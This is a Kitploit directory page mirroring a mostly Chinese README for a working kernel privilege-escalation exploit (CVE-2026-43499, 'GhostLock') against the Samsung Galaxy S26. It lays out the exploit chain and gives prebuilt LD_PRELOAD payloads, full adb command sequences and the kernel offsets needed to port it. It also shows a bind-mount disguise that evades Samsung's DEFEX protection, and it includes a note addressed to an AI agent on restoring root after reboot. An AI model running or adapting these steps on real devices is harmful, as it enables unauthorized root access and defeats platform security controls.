Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
s26-m1q-ghostlock-selinux — GhostLock CVE-2026-43499 research for Galaxy S26 (SM-S942U1/m1q): SELinux Permissive achieved, KASLR + tracefs port, uid=0 boundary documented | Kitploit
Herramientas/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubxrzcc/s26-m1q-ghostlock-selinux

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

s26-m1q-ghostlock-selinux

GhostLock CVE-2026-43499 research for Galaxy S26 (SM-S942U1/m1q): SELinux Permissive achieved, KASLR + tracefs port, uid=0 boundary documented

Ver Repositorio
6111hace 19 díasAún no revisado
Contenido no disponible en el idioma solicitado. Mostrando versión en inglés.

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — uid=0 root + KernelSU 激活达成

针对 Samsung Galaxy S26(SM-S942U1,codename m1q,SoC SM8850 骁龙 8 Elite Gen2, 内核 6.12.30-android16-5-android16-5-pd30ff70,Android 16)的 CVE-2026-43499(GhostLock)提权研究。

✅ 最终结果:uid=0 root + KernelSU 激活达成

root@kitploit:~
# exploit 后通过 root helper 验证
$ /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

# KernelSU late-load 后内核接口已就位
$ ./su_daemon_aarch64_pie --ksu-info
KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

$ getenforce
Enforcing   # late-load 后 SELinux 恢复 Enforcing,由 KernelSU 策略接管授权

从 shell(uid 2000)提权到 uid=0(root),context=kernel(最高权限); 随后完成 KernelSU late-load,内核驱动接口(version=32525)激活,SELinux 由 KernelSU sepolicy 接管。

关键突破路径

找到了 monovibe/s26u-m3q-temp-root(S26 Ultra 临时 KernelSU root),其内核 commit pd30ff70 与美版 S942U1 完全一致。核心机制不用 dirty-pipe(绕过了「非 NULL 写」边界):

  1. tracefs KASLR 探测 → slide(美版 KASLR 随机,非 nokaslr)
  2. KernelSnitch mm_struct collision + spray
  3. GhostLock 写原语(owner_null shape)→ misc/simple_attr carrier(完整任意读写)
  4. uinput misc 节点 patch → controller/data 两个 fd + debugfs_u64 get/set
  5. 伪造 workqueue work item → call_usermodehelper_exec_work → 以 uid=0 启动 su_daemon helper
  6. helper 创建 root socket(temp_su.sock)

移植关键(m3q → 美版 3 处差异)

DEBUGFS_U64_FORMAT_OFF 是字符串字面量(非符号),编译器布局使美版偏移了 0xC0; m3q 值在美版指向 KVM 的 "GWVRn_EL1(1)" 字符串,导致 read 原语输出乱码。

目录结构

root@kitploit:~
├── README.md
├── prebuilt/                                  # S26 预编译 payload + ksud(直接用,无需构建)
│   ├── preload-m1q-S942U1UES4AZG3.so          # monovibe fast-attr 变体(命令行 LD_PRELOAD,实测成功)
│   ├── cve-2026-43499-app.so                  # RMG physical-P0 oracle 变体(APP 手动选用)
│   └── ksud-m1q-S942U1UES4AZG3-kdp            # KernelSU loader(复用 m3q,实测 late-load version=32525)
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md   # 完整诊断(含 uid=0 成功记录)
├── m3q-temp-root/                            # monovibe/s26u-m3q-temp-root 移植(源码)
└── kallsyms/kallsyms.txt                      # 美版内核符号表(128307 符号)

ksud 已含在 prebuilt/ksud-m1q-S942U1UES4AZG3-kdp(复用 m3q,实测 late-load 成功)。

复现:达成 uid=0 root

直接用 prebuilt/ 现成 payload + ksud(无需构建):

root@kitploit:~
adb push prebuilt/preload-m1q-S942U1UES4AZG3.so /data/local/tmp/preload.so
adb push prebuilt/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp
adb shell mkdir -p /data/local/tmp/cve-2026-43499-m1q-ues4azg3
# root helper su_daemon_aarch64_pie(24392B):从 m3q-temp-root/ 源码用 NDK r29 构建,
# 或从改造版 APP(lib/arm64-v8a/libcve43499root.so)提取后重命名
adb push su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
adb shell chmod 755 /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie

# 3. 运行 root-single(需补 PSELECT_MM_KICK_SLABS,否则卡在 "requires 0-16 kicker slabs" gate)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 \
  M3Q_REQUIRE_TRACEFS=1 M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 \
  M3Q_ACCEPT_PANIC_RISK=1 TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 \
  TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 \
  GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so sh"

# 4. 验证 root(exploit 失败会 KP 重启,等设备恢复后重跑 step 3,通常 1-2 次成功)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0

复现:KernelSU late-load 激活(DEFEX 障碍已突破)

此前 commit fa1bb14 记录「KernelSU late-load 遇 Samsung DEFEX immutable root 障碍」。 经实机定位,late-load 失败的真正根因并非 DEFEX,而是 .ksud-stage 源文件从未被创建 (ksud 的 stage_daemon_from() 只负责 rename,复制到 stage 文件是调用方责任, 而 su_daemon 的 late-load 包装漏了这步 → rename 报 ENOENT,误判为 DEFEX 拦截)。

root@kitploit:~
# 5. 放置 stage 文件(shell uid 即可,在 /data/local/tmp 下)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 6. 通过 root 通道以 bind-logcat 伪装执行 ksud late-load(绕 DEFEX exec 限制)
#    --allow-shell 让 KernelSU 对 shell uid(2000) 自动授权
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(ksud_rc=0)。late-load 会 restorecon 关闭 temp_su.sock(bootstrap 桥按设计退出)

# 7. 验证 KernelSU 激活(temp_su.sock 关闭前,或重新 exploit 后)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

重启后恢复 su(payload/ksud/helper 已在设备,无需重新 push)

临时 root 每次重启丢失。首次按上面 step 1-7 push 过文件后,之后每次重启只需下面 4 条 adb 命令:

root@kitploit:~
# 1. exploit(失败会 KP 重启,等设备恢复 boot_completed 后重跑,通常 1-2 次成功)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 M3Q_REQUIRE_TRACEFS=1 \
  M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 M3Q_ACCEPT_PANIC_RISK=1 \
  TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 \
  TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 成功标志:stdout 含 "m3q-fast-attr-result mode=root root=1 uid=0",su_daemon(uid=0) 起来,getenforce=Permissive

# 2. 放置 stage 文件(late-load 必需,漏这步会 ENOENT)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 3. KernelSU late-load(root 通道 + bind-logcat 伪装绕 DEFEX,--allow-shell 授权 shell uid)
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(rc=0),late-load 后 temp_su.sock 被 restorecon 关闭,getenforce 恢复 Enforcing

# 4. 验证 KernelSU 激活(需重新跑 step 1 拿新 root 通道,或 late-load 后立即趁 sock 未关)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

给 AI 接力:设备重启后 su 丢失,按上面 step 1-4 跑即可恢复。step 1 失败会 KP,等 sys.boot_completed=1 后重跑。所有文件已在 /data/local/tmp(preload.so + ksud-m1q-S942U1UES4AZG3-kdp + cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie),不随重启丢失。

DEFEX 行为实测

  • root(u:r:kernel:s0)直接 cp … /data/adb/ksud / 列 /data/adb 内容 → EPERM(DEFEX 拦路径字符串)
  • 私有 mount ns + bind /data/adb 到镜像路径后访问 → 放行(DEFEX 按路径名匹配)
  • ksud 在 bind-logcat 伪装下执行 late-load → /data/adb/ksud 的 stage rename 未被 DEFEX 拦 (此前报 ENOENT 是源文件 .ksud-stage 缺失,非 DEFEX)

KernelSU 的 root 使用

  • ksud 以 argv[0]=su 启动时进入 su 模式,但本构建的 su 子命令为 dispatcher(module/post-fs-data/services), 非标准 su -c;持久授权推荐安装官方 KernelSU Manager APK(me.weishu.kernelsu)由其弹窗授权。
  • --allow-shell 已使 shell uid 进入内核 allowlist,配合 Manager 或自建 su 客户端可拿到 root shell。

风险(必读)

  • kernel panic(exploit 概率性,首次可能 KP,重跑即成功)
  • delay KP(root 后仍可能 KP,需重跑)
  • safe-mode / factory-reset 风险
  • 仅限自己拥有的设备

致谢

  • monovibe/s26u-m3q-temp-root(核心参考,完整 uid=0 + KernelSU 方案)
  • polygraphene/CyberMeowfia(S26 端口)
  • Bugel/cve-2026-43499-m3q-azf1(m3q 参考)
  • BuSung-dev/Root-My-Galaxy(Samsung 框架)
  • NebuSec(漏洞发现/原理)
Descargar herramienta
项m3q 原值美版值
DEBUGFS_U64_FORMAT_OFF("%llu\n" 字符串偏移,最关键)0x18be5e90x18be529
P0_KERNEL_PHYS_LOAD0x800000000xc7800000(xbl_config 权威)
app_uid 检查下限100002000(允许 shell)